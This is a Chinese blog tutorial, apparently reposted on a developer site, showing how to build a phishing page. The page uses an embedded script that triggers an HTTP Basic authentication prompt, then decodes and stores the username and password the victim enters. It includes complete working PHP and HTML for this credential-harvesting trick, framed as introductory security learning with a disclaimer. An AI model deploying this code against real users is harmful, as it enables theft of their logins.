一起来写个钓鱼

栏目: 服务器 · Apache · 发布时间: 5年前

内容简介:虽然这篇文章的标题是一起来写个钓鱼的站点,但是希望仅仅把它当作饭后的谈资就好,切不可在实际生活中真正的使用。不然,网络警察到你家查你水表的时候,我可不负责任啊。而实际上要真心做到对应的效果很难,只是作为安全知识的入门学习。闲话少说,还是直接进入主题吧。这里是需要实现的一些工具的清单:工具都准备妥当了,那么就直奔主题了哦。老司机要开车了,要坐好扶稳了。

虽然这篇文章的标题是一起来写个钓鱼的站点,但是希望仅仅把它当作饭后的谈资就好,切不可在实际生活中真正的使用。不然,网络警察到你家查你水表的时候,我可不负责任啊。而实际上要真心做到对应的效果很难,只是作为安全知识的入门学习。

闲话少说,还是直接进入主题吧。这里是需要实现的一些 工具 的清单:

  • PHP 5.x及以上版本
  • 1个现代的浏览器,不要拿IE6这样老古董的浏览器出来,会死人的
  • Apache还是Nginx随意,能用就好
  • 一款文本编辑器,比如记事本

工具都准备妥当了,那么就直奔主题了哦。老司机要开车了,要坐好扶稳了。

在Web中钓鱼的方式有很多方式,不过这个名字还是源自生活,此时联想到在长江边垂钓的场景,滚滚长江东逝水...。

万事俱备只欠东风,工具都准备好了,现在还缺的就是鱼了。鱼从哪里来,自然就是从受害者身上谋取啦。而这里我们利用1种401认证的方式来钓鱼。

实现过程

首先,我们新建1个 index.php 的脚本,其内容类似如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>首页</title>
</head>
<body>
    <h1>首页</h1>
    <script type="text/javascript" src="test.php"></script>
</body>
</html>

内容简单的很,实际上真正有用的就是这么一行:

<script type="text/javascript" src="test.php"></script>

我们使用脚本的方式异步请求 php 的1个脚本。搞技术的要求能举一反三,我见过一些信息安全人员,除了会写POC外和使用一些工具外,对应的原理是一窍不懂的。甚至为什么可以这样做是一问三不知的。

很多人以为黑客是群很聪明的人,实际不然,不排除这里面有一些所谓的脚本小子,整天复制搞破坏的。

闲外话还是少说,如果你觉得上面的script标签有点碍眼,你完全可以换,比如换成link、img等标签完全都是可以的。这就是举一反三的能力吧,毕竟真实场景中很少有刚好就那么巧可以被利用的。

test.php 中的内容类似如下:

<?php
if(array_key_exists('HTTP_AUTHORIZATION', $_SERVER)){
    session_start();
    $value = $_SERVER['HTTP_AUTHORIZATION'];
    $admin = base64_decode(substr($value, 6));
    $_SESSION['info'] = $admin;
}else{
    header("Content-type: text/html; charset=utf-8");
    header('WWW-Authenticate: Basic realm="Please enter your username and password!"');
}

我们判断当前服务器中是否存在键名 HTTP_AUTHORIZATION ,如果不存在则直接抛出1个401的认证请求头。而浏览器获取到该401状态后,会自动弹出1个对话框要求使用者输入用户名和密码。

如果使用者按照我们剧情的安排输入了用户名和密码,那么我们就成功钓到了1条(人)鱼。

需要注意的是,这里我们使用的是Basci认证,而不是HTTP中另1个Digest的认证。不然到时传递过来的是MD5的结果,还需要花费时间解密,得不偿失。

眼尖的你可能发现,我们使用的是Base64解码函数 base64_decode 。没错,Basic认证的用户名和密码会使用Base64进行编码,直接获取到其内容进行解码即可,是不是很简单。

在这里,我们将其存入到session中,以便可以在前端显示,这样就可以看到效果了。而更多情况下,是直接存储到文件或数据库中,接着搞不好就拿着这些账号去登录你的银行卡。

为了看出效果,我们在 index.php 中添加如下几行代码:

<?php
session_start();
if(array_key_exists("info",$_SESSION)){
    $value = $_SESSION['info'];
    var_dump($value);
}
?>

演示过程

下面是演示的效果过程,首先是访问首页:

一起来写个钓鱼

然后入套,输入自己的用户名和密码:

一起来写个钓鱼

鱼上钩了,被钓了起来:

一起来写个钓鱼

结语

看到,你可能会骂娘了。这么简单的东西,搞得这么神秘兮兮。

实际上,原理的东西总是很简单的,重要是组合利用。如果让自己隐匿的更深一些,还有更具诱惑性才能让猎物上钩。而钓鱼的过程不就是利用如下几个切入点:

  • 诱饵味道做的很不错
  • 鱼钩藏匿在诱饵里面
  • 鱼肚子饿了
  • 鱼发现诱饵味道很不错,就咬了一口

结果鱼就上钩了。而人之所以会被钓的过程主要还是如下几个情况:

  • 用户安全意识薄弱,过于盲目相信浏览器
  • 浏览器厂商相关安全没有做好,致使用户受害
  • 脚本小子页面做的很不错,真假难辨

当然不排除还有其他一些情况,实在想不出来了,脑洞太小。

当然上面这么丑陋的网站,百分百是钓不到鱼的。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

创业维艰

创业维艰

本·霍洛维茨 Ben Horowitz / 杨晓红、钟莉婷 / 中信出版社 / 2015-2 / 49

本·霍洛维茨,硅谷顶级投资人,与网景之父马克·安德森联手合作18年,有着丰富的创业和管理经验。2009年创立风险投资公司A16Z,被外媒誉为“硅谷最牛的50个天使投资人”之一,先后在初期投资了Facebook、Twitter、Groupon、Skype,是诸多硅谷新贵的创业导师。 在《创业维艰》中,本·霍洛维茨从自己的创业经历讲起,以自己在硅谷近20余年的创业、管理和投资经验,对创业公司(尤......一起来看看 《创业维艰》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

URL 编码/解码
URL 编码/解码

URL 编码/解码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具